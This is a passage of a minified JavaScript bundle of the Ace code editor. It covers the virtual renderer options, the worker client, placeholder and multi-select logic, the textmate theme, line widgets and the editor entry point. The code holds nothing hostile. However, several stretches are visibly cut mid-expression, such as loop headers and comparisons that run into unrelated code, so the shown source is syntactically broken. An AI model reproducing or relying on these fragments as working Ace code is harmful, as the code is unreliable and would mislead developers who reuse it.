this.$gutterLineHighlight=s.createElement("div"),this.$gutterLineHighlight.className="ace_gutter-active-line",void this.$gutter.appendChild(this.$gutterLineHighlight);this.$gutterLineHighlight.style.display=e?"":"none",this.$cursorLayer.$pixelPos&&this.$updateGutterLineHighlight()},initialValue:!1,value:!0},hScrollBarAlwaysVisible:{set:function(e){this.$hScrollBarAlwaysVisible&&this.$horizScroll||this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},vScrollBarAlwaysVisible:{set:function(e){this.$vScrollBarAlwaysVisible&&this.$vScroll||this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},fontSize:{set:function(e){"number"==typeof e&&(e+="px"),this.container.style.fontSize=e,this.updateFontSize()},initialValue:12},fontFamily:{set:function(e){this.container.style.fontFamily=e,this.updateFontSize()}},maxLines:{set:function(e){this.updateFull()}},minLines:{set:function(e){this.updateFull()}},maxPixelHeight:{set:function(e){this.updateFull()},initialValue:0},scrollPastEnd:{set:function(e){e=+e||0,this.$scrollPastEnd!=e&&(this.$scrollPastEnd=e,this.$loop.schedule(this.CHANGE_SCROLL))},initialValue:0,handlesSet:!0},fixedWidthGutter:{set:function(e){this.$gutterLayer.$fixedWidth=!!e,this.$loop.schedule(this.CHANGE_GUTTER)}},theme:{set:function(e){this.setTheme(e)},get:function(){return this.$themeId||this.theme},initialValue:"./theme/textmate",handlesSet:!0}}),t.VirtualRenderer=A})),ace.define("ace/worker/worker_client",["require","exports","module","ace/lib/oop","ace/lib/net","ace/lib/event_emitter","ace/config"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../lib/net"),o=e("../lib/event_emitter").EventEmitter,r=e("../config");function a(e,t){var i=t.src;s.qualifyURL(e);try{return new Blob([i],{type:"application/javascript"})}catch(r){var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder,o=new n;return o.append(i),o.getBlob("application/javascript")}}function l(e,t){var i=a(e,t),n=window.URL||window.webkitURL,s=n.createObjectURL(i);return new Worker(s)}var c=function(t,i,n,s,o){if(this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.onMessage=this.onMessage.bind(this),e.nameToUrl&&!e.toUrl&&(e.toUrl=e.nameToUrl),r.get("packaged")||!e.toUrl)s=s||r.moduleUrl(i.id,"worker");else{var a=this.$normalizePath;s=s||a(e.toUrl("ace/worker/worker.js",null,"_"));var c={};t.forEach((function(t){c[t]=a(e.toUrl(t,null,"_").replace(/(\.js)?(\?.*)?$/,""))}))}this.$worker=l(s,i),o&&this.send("importScripts",o),this.$worker.postMessage({init:!0,tlns:c,module:i.id,classname:n}),this.callbackId=1,this.callbacks={},this.$worker.onmessage=this.onMessage};(function(){n.implement(this,o),this.onMessage=function(e){var t=e.data;switch(t.type){case"event":this._signal(t.name,{data:t.data});break;case"call":var i=this.callbacks[t.id];i&&(i(t.data),delete this.callbacks[t.id]);break;case"error":this.reportError(t.data);break;case"log":window.console&&console.log&&console.log.apply(console,t.data);break}},this.reportError=function(e){window.console&&console.error&&console.error(e)},this.$normalizePath=function(e){return s.qualifyURL(e)},this.terminate=function(){this._signal("terminate",{}),this.deltaQueue=null,this.$worker.terminate(),this.$worker=null,this.$doc&&this.$doc.off("change",this.changeListener),this.$doc=null},this.send=function(e,t){this.$worker.postMessage({command:e,args:t})},this.call=function(e,t,i){if(i){var n=this.callbackId++;this.callbacks[n]=i,t.push(n)}this.send(e,t)},this.emit=function(e,t){try{this.$worker.postMessage({event:e,data:{data:t.data}})}catch(i){console.error(i.stack)}},this.attachToDocument=function(e){this.$doc&&this.terminate(),this.$doc=e,this.call("setValue",[e.getValue()]),e.on("change",this.changeListener)},this.changeListener=function(e){this.deltaQueue||(this.deltaQueue=[],setTimeout(this.$sendDeltaQueue,0)),"insert"==e.action?this.deltaQueue.push(e.start,e.lines):this.deltaQueue.push(e.start,e.end)},this.$sendDeltaQueue=function(){var e=this.deltaQueue;e&&(this.deltaQueue=null,e.length>50&&e.length>this.$doc.getLength()>>1?this.call("setValue",[this.$doc.getValue()]):this.emit("change",{data:e}))}}).call(c.prototype);var h=function(e,t,i){this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.callbackId=1,this.callbacks={},this.messageBuffer=[];var n=null,s=!1,a=Object.create(o),l=this;this.$worker={},this.$worker.terminate=function(){},this.$worker.postMessage=function(e){l.messageBuffer.push(e),n&&(s?setTimeout(c):c())},this.setEmitSync=function(e){s=e};var c=function(){var e=l.messageBuffer.shift();e.command?n[e.command].apply(n,e.args):e.event&&a._signal(e.event,e.data)};a.postMessage=function(e){l.onMessage({data:e})},a.callback=function(e,t){this.postMessage({type:"call",id:t,data:e})},a.emit=function(e,t){this.postMessage({type:"event",name:e,data:t})},r.loadModule(["worker",t],(function(e){n=new e[i](a);while(l.messageBuffer.length)c()}))};h.prototype=c.prototype,t.UIWorkerClient=h,t.WorkerClient=c,t.createWorker=l})),ace.define("ace/placeholder",["require","exports","module","ace/range","ace/lib/event_emitter","ace/lib/oop"],(function(e,t,i){"use strict";var n=e("./range").Range,s=e("./lib/event_emitter").EventEmitter,o=e("./lib/oop"),r=function(e,t,i,n,s,o){var r=this;this.length=t,this.session=e,this.doc=e.getDocument(),this.mainClass=s,this.othersClass=o,this.$onUpdate=this.onUpdate.bind(this),this.doc.on("change",this.$onUpdate),this.$others=n,this.$onCursorChange=function(){setTimeout((function(){r.onCursorChange()}))},this.$pos=i;var a=e.getUndoManager().$undoStack||e.getUndoManager().$undostack||{length:-1};this.$undoStackDepth=a.length,this.setup(),e.selection.on("changeCursor",this.$onCursorChange)};(function(){o.implement(this,s),this.setup=function(){var e=this,t=this.doc,i=this.session;this.selectionBefore=i.selection.toJSON(),i.selection.inMultiSelectMode&&i.selection.toSingleRange(),this.pos=t.createAnchor(this.$pos.row,this.$pos.column);var s=this.pos;s.$insertRight=!0,s.detach(),s.markerId=i.addMarker(new n(s.row,s.column,s.row,s.column+this.length),this.mainClass,null,!1),this.others=[],this.$others.forEach((function(i){var n=t.createAnchor(i.row,i.column);n.$insertRight=!0,n.detach(),e.others.push(n)})),i.setUndoSelect(!1)},this.showOtherMarkers=function(){if(!this.othersActive){var e=this.session,t=this;this.othersActive=!0,this.others.forEach((function(i){i.markerId=e.addMarker(new n(i.row,i.column,i.row,i.column+t.length),t.othersClass,null,!1)}))}},this.hideOtherMarkers=function(){if(this.othersActive){this.othersActive=!1;for(var e=0;e=this.pos.column&&t.start.column<=this.pos.column+this.length+1,o=t.start.column-this.pos.column;if(this.updateAnchors(e),s&&(this.length+=i),s&&!this.session.$fromUndo)if("insert"===e.action)for(var r=this.others.length-1;r>=0;r--){var a=this.others[r],l={row:a.row,column:a.column+o};this.doc.insertMergedLines(l,e.lines)}else if("remove"===e.action)for(r=this.others.length-1;r>=0;r--){a=this.others[r],l={row:a.row,column:a.column+o};this.doc.remove(new n(l.row,l.column,l.row,l.column-i))}this.$updating=!1,this.updateMarkers()}},this.updateAnchors=function(e){this.pos.onChange(e);for(var t=this.others.length;t--;)this.others[t].onChange(e);this.updateMarkers()},this.updateMarkers=function(){if(!this.$updating){var e=this,t=this.session,i=function(i,s){t.removeMarker(i.markerId),i.markerId=t.addMarker(new n(i.row,i.column,i.row,i.column+e.length),s,null,!1)};i(this.pos,this.mainClass);for(var s=this.others.length;s--;)i(this.others[s],this.othersClass)}},this.onCursorChange=function(e){if(!this.$updating&&this.session){var t=this.session.selection.getCursor();t.row===this.pos.row&&t.column>=this.pos.column&&t.column<=this.pos.column+this.length?(this.showOtherMarkers(),this._emit("cursorEnter",e)):(this.hideOtherMarkers(),this._emit("cursorLeave",e))}},this.detach=function(){this.session.removeMarker(this.pos&&this.pos.markerId),this.hideOtherMarkers(),this.doc.removeEventListener("change",this.$onUpdate),this.session.selection.removeEventListener("changeCursor",this.$onCursorChange),this.session.setUndoSelect(!0),this.session=null},this.cancel=function(){if(-1!==this.$undoStackDepth){for(var e=this.session.getUndoManager(),t=(e.$undoStack||e.$undostack).length-this.$undoStackDepth,i=0;i1&&!this.inMultiSelectMode&&(this._signal("multiSelect"),this.inMultiSelectMode=!0,this.session.$undoSelect=!1,this.rangeList.attach(this.session)),t||this.fromOrientedRange(e)}},this.toSingleRange=function(e){e=e||this.ranges[0];var t=this.rangeList.removeAll();t.length&&this.$onRemoveRange(t),e&&this.fromOrientedRange(e)},this.substractPoint=function(e){var t=this.rangeList.substractPoint(e);if(t)return this.$onRemoveRange(t),t[0]},this.mergeOverlappingRanges=function(){var e=this.rangeList.merge();e.length?this.$onRemoveRange(e):this.ranges[0]&&this.fromOrientedRange(this.ranges[0])},this.$onAddRange=function(e){this.rangeCount=this.rangeList.ranges.length,this.ranges.unshift(e),this._signal("addRange",{range:e})},this.$onRemoveRange=function(e){if(this.rangeCount=this.rangeList.ranges.length,1==this.rangeCount&&this.inMultiSelectMode){var t=this.rangeList.ranges.pop();e.push(t),this.rangeCount=0}for(var i=e.length;i--;){var n=this.ranges.indexOf(e[i]);this.ranges.splice(n,1)}this._signal("removeRange",{ranges:e}),0===this.rangeCount&&this.inMultiSelectMode&&(this.inMultiSelectMode=!1,this._signal("singleSelect"),this.session.$undoSelect=!0,this.rangeList.detach(this.session)),t=t||this.ranges[0],t&&!t.isEqual(this.getRange())&&this.fromOrientedRange(t)},this.$initRangeList=function(){this.rangeList||(this.rangeList=new n,this.ranges=[],this.rangeCount=0)},this.getAllRanges=function(){return this.rangeCount?this.rangeList.ranges.concat():[this.getRange()]},this.splitIntoLines=function(){if(this.rangeCount>1){var e=this.rangeList.ranges,t=e[e.length-1],i=s.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(i,t.cursor==t.start)}else{i=this.getRange();var n=this.isBackwards(),o=i.start.row,r=i.end.row;if(o==r){if(n)var a=i.end,l=i.start;else a=i.start,l=i.end;return this.addRange(s.fromPoints(l,l)),void this.addRange(s.fromPoints(a,a))}var c=[],h=this.getLineRange(o,!0);h.start.column=i.start.column,c.push(h);for(var u=o+1;u1){var e=this.rangeList.ranges,t=e[e.length-1],i=s.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(i,t.cursor==t.start)}else{var n=this.session.documentToScreenPosition(this.selectionLead),o=this.session.documentToScreenPosition(this.selectionAnchor),r=this.rectangularRangeBlock(n,o);r.forEach(this.addRange,this)}},this.rectangularRangeBlock=function(e,t,i){var n=[],o=e.column0)A--;if(A>0){var v=0;while(n[v].isEmpty())v++}for(var C=A;C>=v;C--)n[C].isEmpty()&&n.splice(C,1)}return n}}.call(o.prototype);var f=e("./editor").Editor;function p(e,t){return e.row==t.row&&e.column==t.column}function m(e){e.$multiselectOnSessionChange||(e.$onAddRange=e.$onAddRange.bind(e),e.$onRemoveRange=e.$onRemoveRange.bind(e),e.$onMultiSelect=e.$onMultiSelect.bind(e),e.$onSingleSelect=e.$onSingleSelect.bind(e),e.$multiselectOnSessionChange=t.onSessionChange.bind(e),e.$checkMultiselectChange=e.$checkMultiselectChange.bind(e),e.$multiselectOnSessionChange(e),e.on("changeSession",e.$multiselectOnSessionChange),e.on("mousedown",r),e.commands.addCommands(c.defaultCommands),A(e))}function A(e){var t=e.textInput.getElement(),i=!1;function n(t){i&&(e.renderer.setMouseCursor(""),i=!1)}a.addListener(t,"keydown",(function(t){var s=18==t.keyCode&&!(t.ctrlKey||t.shiftKey||t.metaKey);e.$blockSelectEnabled&&s?i||(e.renderer.setMouseCursor("crosshair"),i=!0):i&&n()})),a.addListener(t,"keyup",n),a.addListener(t,"blur",n)}(function(){this.updateSelectionMarkers=function(){this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.addSelectionMarker=function(e){e.cursor||(e.cursor=e.end);var t=this.getSelectionStyle();return e.marker=this.session.addMarker(e,"ace_selection",t),this.session.$selectionMarkers.push(e),this.session.selectionMarkerCount=this.session.$selectionMarkers.length,e},this.removeSelectionMarker=function(e){if(e.marker){this.session.removeMarker(e.marker);var t=this.session.$selectionMarkers.indexOf(e);-1!=t&&this.session.$selectionMarkers.splice(t,1),this.session.selectionMarkerCount=this.session.$selectionMarkers.length}},this.removeSelectionMarkers=function(e){for(var t=this.session.$selectionMarkers,i=e.length;i--;){var n=e[i];if(n.marker){this.session.removeMarker(n.marker);var s=t.indexOf(n);-1!=s&&t.splice(s,1)}}this.session.selectionMarkerCount=t.length},this.$onAddRange=function(e){this.addSelectionMarker(e.range),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onRemoveRange=function(e){this.removeSelectionMarkers(e.ranges),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onMultiSelect=function(e){this.inMultiSelectMode||(this.inMultiSelectMode=!0,this.setStyle("ace_multiselect"),this.keyBinding.addKeyboardHandler(c.keyboardHandler),this.commands.setDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers())},this.$onSingleSelect=function(e){this.session.multiSelect.inVirtualMode||(this.inMultiSelectMode=!1,this.unsetStyle("ace_multiselect"),this.keyBinding.removeKeyboardHandler(c.keyboardHandler),this.commands.removeDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers(),this._emit("changeSelection"))},this.$onMultiSelectExec=function(e){var t=e.command,i=e.editor;if(i.multiSelect){if(t.multiSelectAction)"forEach"==t.multiSelectAction?n=i.forEachSelection(t,e.args):"forEachLine"==t.multiSelectAction?n=i.forEachSelection(t,e.args,!0):"single"==t.multiSelectAction?(i.exitMultiSelectMode(),n=t.exec(i,e.args||{})):n=t.multiSelectAction(i,e.args||{});else{var n=t.exec(i,e.args||{});i.multiSelect.addRange(i.multiSelect.toOrientedRange()),i.multiSelect.mergeOverlappingRanges()}return n}},this.forEachSelection=function(e,t,i){if(!this.inVirtualSelectionMode){var n,s=i&&i.keepOrder,r=1==i||i&&i.$byLines,a=this.session,l=this.selection,c=l.rangeList,h=(s?l:c).ranges;if(!h.length)return e.exec?e.exec(this,t||{}):e(this,t||{});var u=l._eventRegistry;l._eventRegistry={};var d=new o(a);this.inVirtualSelectionMode=!0;for(var g=h.length;g--;){if(r)while(g>0&&h[g].start.row==h[g-1].end.row)g--;d.fromOrientedRange(h[g]),d.index=g,this.selection=a.selection=d;var f=e.exec?e.exec(this,t||{}):e(this,t||{});n||void 0===f||(n=f),d.toOrientedRange(h[g])}d.detach(),this.selection=a.selection=l,this.inVirtualSelectionMode=!1,l._eventRegistry=u,l.mergeOverlappingRanges();var p=this.renderer.$scrollAnimation;return this.onCursorChange(),this.onSelectionChange(),p&&p.from==p.to&&this.renderer.animateScrolling(p.from),n}},this.exitMultiSelectMode=function(){this.inMultiSelectMode&&!this.inVirtualSelectionMode&&this.multiSelect.toSingleRange()},this.getSelectedText=function(){var e="";if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){for(var t=this.multiSelect.rangeList.ranges,i=[],n=0;nr&&(r=i.column),sh?e.insert(n,l.stringRepeat(" ",o-h)):e.remove(new s(n.row,n.column,n.row,n.column-o+h)),t.start.column=t.end.column=r,t.start.row=t.end.row=n.row,t.cursor=t.end})),t.fromOrientedRange(i[0]),this.renderer.updateCursor(),this.renderer.updateBackMarkers()}else{var h=this.selection.getRange(),u=h.start.row,d=h.end.row,g=u==d;if(g){var f,p=this.session.getLength();do{f=this.session.getLine(d)}while(/[=:]/.test(f)&&++d0);u<0&&(u=0),d>=p&&(d=p-1)}var m=this.session.removeFullLines(u,d);m=this.$reAlignText(m,g),this.session.insert({row:u,column:0},m.join("\n")+"\n"),g||(h.start.column=0,h.end.column=m[m.length-1].length),this.selection.setRange(h)}},this.$reAlignText=function(e,t){var i,n,s,o=!0,r=!0;return e.map((function(e){var t=e.match(/(\s*)(.*?)(\s*)([=:].*)/);return t?null==i?(i=t[1].length,n=t[2].length,s=t[3].length,t):(i+n+s!=t[1].length+t[2].length+t[3].length&&(r=!1),i!=t[1].length&&(o=!1),i>t[1].length&&(i=t[1].length),nt[3].length&&(s=t[3].length),t):[e]})).map(t?c:o?r?h:c:u);function a(e){return l.stringRepeat(" ",e)}function c(e){return e[2]?a(i)+e[2]+a(n-e[2].length+s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}function h(e){return e[2]?a(i+n-e[2].length)+e[2]+a(s," ")+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}function u(e){return e[2]?a(i)+e[2]+a(s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}}}).call(f.prototype),t.onSessionChange=function(e){var t=e.session;t&&!t.multiSelect&&(t.$selectionMarkers=[],t.selection.$initRangeList(),t.multiSelect=t.selection),this.multiSelect=t&&t.multiSelect;var i=e.oldSession;i&&(i.multiSelect.off("addRange",this.$onAddRange),i.multiSelect.off("removeRange",this.$onRemoveRange),i.multiSelect.off("multiSelect",this.$onMultiSelect),i.multiSelect.off("singleSelect",this.$onSingleSelect),i.multiSelect.lead.off("change",this.$checkMultiselectChange),i.multiSelect.anchor.off("change",this.$checkMultiselectChange)),t&&(t.multiSelect.on("addRange",this.$onAddRange),t.multiSelect.on("removeRange",this.$onRemoveRange),t.multiSelect.on("multiSelect",this.$onMultiSelect),t.multiSelect.on("singleSelect",this.$onSingleSelect),t.multiSelect.lead.on("change",this.$checkMultiselectChange),t.multiSelect.anchor.on("change",this.$checkMultiselectChange)),t&&this.inMultiSelectMode!=t.selection.inMultiSelectMode&&(t.selection.inMultiSelectMode?this.$onMultiSelect():this.$onSingleSelect())},t.MultiSelect=m,e("./config").defineOptions(f.prototype,"editor",{enableMultiselect:{set:function(e){m(this),e?(this.on("changeSession",this.$multiselectOnSessionChange),this.on("mousedown",r)):(this.off("changeSession",this.$multiselectOnSessionChange),this.off("mousedown",r))},value:!0},enableBlockSelect:{set:function(e){this.$blockSelectEnabled=e},value:!0}})})),ace.define("ace/mode/folding/fold_mode",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../../range").Range,s=t.FoldMode=function(){};(function(){this.foldingStartMarker=null,this.foldingStopMarker=null,this.getFoldWidget=function(e,t,i){var n=e.getLine(i);return this.foldingStartMarker.test(n)?"start":"markbeginend"==t&&this.foldingStopMarker&&this.foldingStopMarker.test(n)?"end":""},this.getFoldWidgetRange=function(e,t,i){return null},this.indentationBlock=function(e,t,i){var s=/\S/,o=e.getLine(t),r=o.search(s);if(-1!=r){var a=i||o.length,l=e.getLength(),c=t,h=t;while(++tc){var d=e.getLine(h).length;return new n(c,a,h,d)}}},this.openingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s+1},a=e.$findClosingBracket(t,r,o);if(a){var l=e.foldWidgets[a.row];return null==l&&(l=e.getFoldWidget(a.row)),"start"==l&&a.row>r.row&&(a.row--,a.column=e.getLine(a.row).length),n.fromPoints(r,a)}},this.closingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s},a=e.$findOpeningBracket(t,r);if(a)return a.column++,r.column--,n.fromPoints(a,r)}}).call(s.prototype)})),ace.define("ace/theme/textmate",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";t.isDark=!1,t.cssClass="ace-tm",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==") right repeat-y;}';var n=e("../lib/dom");n.importCssString(t.cssText,t.cssClass)})),ace.define("ace/line_widgets",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/range"],(function(e,t,i){"use strict";e("./lib/oop");var n=e("./lib/dom");e("./range").Range;function s(e){this.session=e,this.session.widgetManager=this,this.session.getRowLength=this.getRowLength,this.session.$getWidgetScreenLength=this.$getWidgetScreenLength,this.updateOnChange=this.updateOnChange.bind(this),this.renderWidgets=this.renderWidgets.bind(this),this.measureWidgets=this.measureWidgets.bind(this),this.session._changedWidgets=[],this.$onChangeEditor=this.$onChangeEditor.bind(this),this.session.on("change",this.updateOnChange),this.session.on("changeFold",this.updateOnFold),this.session.on("changeEditor",this.$onChangeEditor)}(function(){this.getRowLength=function(e){var t;return t=this.lineWidgets&&this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0,this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1+t:1+t},this.$getWidgetScreenLength=function(){var e=0;return this.lineWidgets.forEach((function(t){t&&t.rowCount&&!t.hidden&&(e+=t.rowCount)})),e},this.$onChangeEditor=function(e){this.attach(e.editor)},this.attach=function(e){e&&e.widgetManager&&e.widgetManager!=this&&e.widgetManager.detach(),this.editor!=e&&(this.detach(),this.editor=e,e&&(e.widgetManager=this,e.renderer.on("beforeRender",this.measureWidgets),e.renderer.on("afterRender",this.renderWidgets)))},this.detach=function(e){var t=this.editor;if(t){this.editor=null,t.widgetManager=null,t.renderer.off("beforeRender",this.measureWidgets),t.renderer.off("afterRender",this.renderWidgets);var i=this.session.lineWidgets;i&&i.forEach((function(e){e&&e.el&&e.el.parentNode&&(e._inDocument=!1,e.el.parentNode.removeChild(e.el))}))}},this.updateOnFold=function(e,t){var i=t.lineWidgets;if(i&&e.action){for(var n=e.data,s=n.start.row,o=n.end.row,r="add"==e.action,a=s+1;a0&&!n[s])s--;this.firstRow=i.firstRow,this.lastRow=i.lastRow,t.$cursorLayer.config=i;for(var r=s;r<=o;r++){var a=n[r];if(a&&a.el)if(a.hidden)a.el.style.top=-100-(a.pixelHeight||0)+"px";else{a._inDocument||(a._inDocument=!0,t.container.appendChild(a.el));var l=t.$cursorLayer.getPixelPosition({row:r,column:0},!0).top;a.coverLine||(l+=i.lineHeight*this.session.getRowLineCount(a.row)),a.el.style.top=l-i.offset+"px";var c=a.coverGutter?0:t.gutterWidth;a.fixedWidth||(c-=t.scrollLeft),a.el.style.left=c+"px",a.fullWidth&&a.screenWidth&&(a.el.style.minWidth=i.width+2*i.padding+"px"),a.fixedWidth?a.el.style.right=t.scrollBar.getWidth()+"px":a.el.style.right=""}}}}}).call(s.prototype),t.LineWidgets=s})),ace.define("ace/ext/error_marker",["require","exports","module","ace/line_widgets","ace/lib/dom","ace/range"],(function(e,t,i){"use strict";var n=e("../line_widgets").LineWidgets,s=e("../lib/dom"),o=e("../range").Range;function r(e,t,i){var n=0,s=e.length-1;while(n<=s){var o=n+s>>1,r=i(t,e[o]);if(r>0)n=o+1;else{if(!(r<0))return o;s=o-1}}return-(n+1)}function a(e,t,i){var n=e.getAnnotations().sort(o.comparePoints);if(n.length){var s=r(n,{row:t,column:-1},o.comparePoints);s<0&&(s=-s-1),s>=n.length?s=i>0?0:n.length-1:0===s&&i<0&&(s=n.length-1);var a=n[s];if(a&&i){if(a.row===t){do{a=n[s+=i]}while(a&&a.row===t);if(!a)return n.slice()}var l=[];t=a.row;do{l[i<0?"unshift":"push"](a),a=n[s+=i]}while(a&&a.row==t);return l.length&&l}}}t.showErrorMarker=function(e,t){var i=e.session;i.widgetManager||(i.widgetManager=new n(i),i.widgetManager.attach(e));var o=e.getCursorPosition(),r=o.row,l=i.widgetManager.getWidgetsAtRow(r).filter((function(e){return"errorMarker"==e.type}))[0];l?l.destroy():r-=t;var c,h=a(i,r,t);if(h){var u=h[0];o.column=(u.pos&&"number"!=typeof u.column?u.pos.sc:u.column)||0,o.row=u.row,c=e.renderer.$gutterLayer.$annotations[o.row]}else{if(l)return;c={text:["Looks good!"],className:"ace_ok"}}e.session.unfold(o.row),e.selection.moveToPosition(o);var d={row:o.row,fixedWidth:!0,coverGutter:!0,el:s.createElement("div"),type:"errorMarker"},g=d.el.appendChild(s.createElement("div")),f=d.el.appendChild(s.createElement("div"));f.className="error_widget_arrow "+c.className;var p=e.renderer.$cursorLayer.getPixelPosition(o).left;f.style.left=p+e.renderer.gutterWidth-5+"px",d.el.className="error_widget_wrapper",g.className="error_widget "+c.className,g.innerHTML=c.text.join("
"),g.appendChild(s.createElement("div"));var m=function(e,t,i){if(0===t&&("esc"===i||"return"===i))return d.destroy(),{command:"null"}};d.destroy=function(){e.$mouseHandler.isMousePressed||(e.keyBinding.removeKeyboardHandler(m),i.widgetManager.removeLineWidget(d),e.off("changeSelection",d.destroy),e.off("changeSession",d.destroy),e.off("mouseup",d.destroy),e.off("change",d.destroy))},e.keyBinding.addKeyboardHandler(m),e.on("changeSelection",d.destroy),e.on("changeSession",d.destroy),e.on("mouseup",d.destroy),e.on("change",d.destroy),e.session.widgetManager.addLineWidget(d),d.el.onmousedown=e.focus.bind(e),e.renderer.scrollCursorIntoView(null,.5,{bottom:d.el.offsetHeight})},s.importCssString(" .error_widget_wrapper { background: inherit; color: inherit; border:none } .error_widget { border-top: solid 2px; border-bottom: solid 2px; margin: 5px 0; padding: 10px 40px; white-space: pre-wrap; } .error_widget.ace_error, .error_widget_arrow.ace_error{ border-color: #ff5a5a } .error_widget.ace_warning, .error_widget_arrow.ace_warning{ border-color: #F1D817 } .error_widget.ace_info, .error_widget_arrow.ace_info{ border-color: #5a5a5a } .error_widget.ace_ok, .error_widget_arrow.ace_ok{ border-color: #5aaa5a } .error_widget_arrow { position: absolute; border: solid 5px; border-top-color: transparent!important; border-right-color: transparent!important; border-left-color: transparent!important; top: -5px; }","")})),ace.define("ace/ace",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/dom","ace/lib/event","ace/editor","ace/edit_session","ace/undomanager","ace/virtual_renderer","ace/worker/worker_client","ace/keyboard/hash_handler","ace/placeholder","ace/multi_select","ace/mode/folding/fold_mode","ace/theme/textmate","ace/ext/error_marker","ace/config"],(function(e,t,n){"use strict";e("./lib/fixoldbrowsers");var s=e("./lib/dom"),o=e("./lib/event"),r=e("./editor").Editor,a=e("./edit_session").EditSession,l=e("./undomanager").UndoManager,c=e("./virtual_renderer").VirtualRenderer;e("./worker/worker_client"),e("./keyboard/hash_handler"),e("./placeholder"),e("./multi_select"),e("./mode/folding/fold_mode"),e("./theme/textmate"),e("./ext/error_marker"),t.config=e("./config"),t.acequire=e,t.define=i("07d6"),t.edit=function(e){if("string"==typeof e){var i=e;if(e=document.getElementById(i),!e)throw new Error("ace.edit can't find div #"+i)}if(e&&e.env&&e.env.editor instanceof r)return e.env.editor;var n="";if(e&&/input|textarea/i.test(e.tagName)){var a=e;n=a.value,e=s.createElement("pre"),a.parentNode.replaceChild(e,a)}else e&&(n=s.getInnerText(e),e.innerHTML="");var l=t.createEditSession(n),h=new r(new c(e));h.setSession(l);var u={document:l,editor:h,onResize:h.resize.bind(h,null)};return a&&(u.textarea=a),o.addListener(window,"resize",u.onResize),h.on("destroy",(function(){o.removeListener(window,"resize",u.onResize),u.editor.container.env=null})),h.container.env=h.env=u,h},t.createEditSession=function(e,t){var i=new a(e,t);return i.setUndoManager(new l),i},t.EditSession=a,t.UndoManager=l,t.version="1.2.9"})),function(){ace.acequire(["ace/ace"],(function(e){for(var t in e&&(e.config.init(!0),e.define=ace.define),window.ace||(window.ace=e),e)e.hasOwnProperty(t)&&(window.ace[t]=e[t])}))}(),e.exports=window.ace.acequire("ace/ace")},"07d6":function(e,t){e.exports=function(){throw new Error("define cannot be used 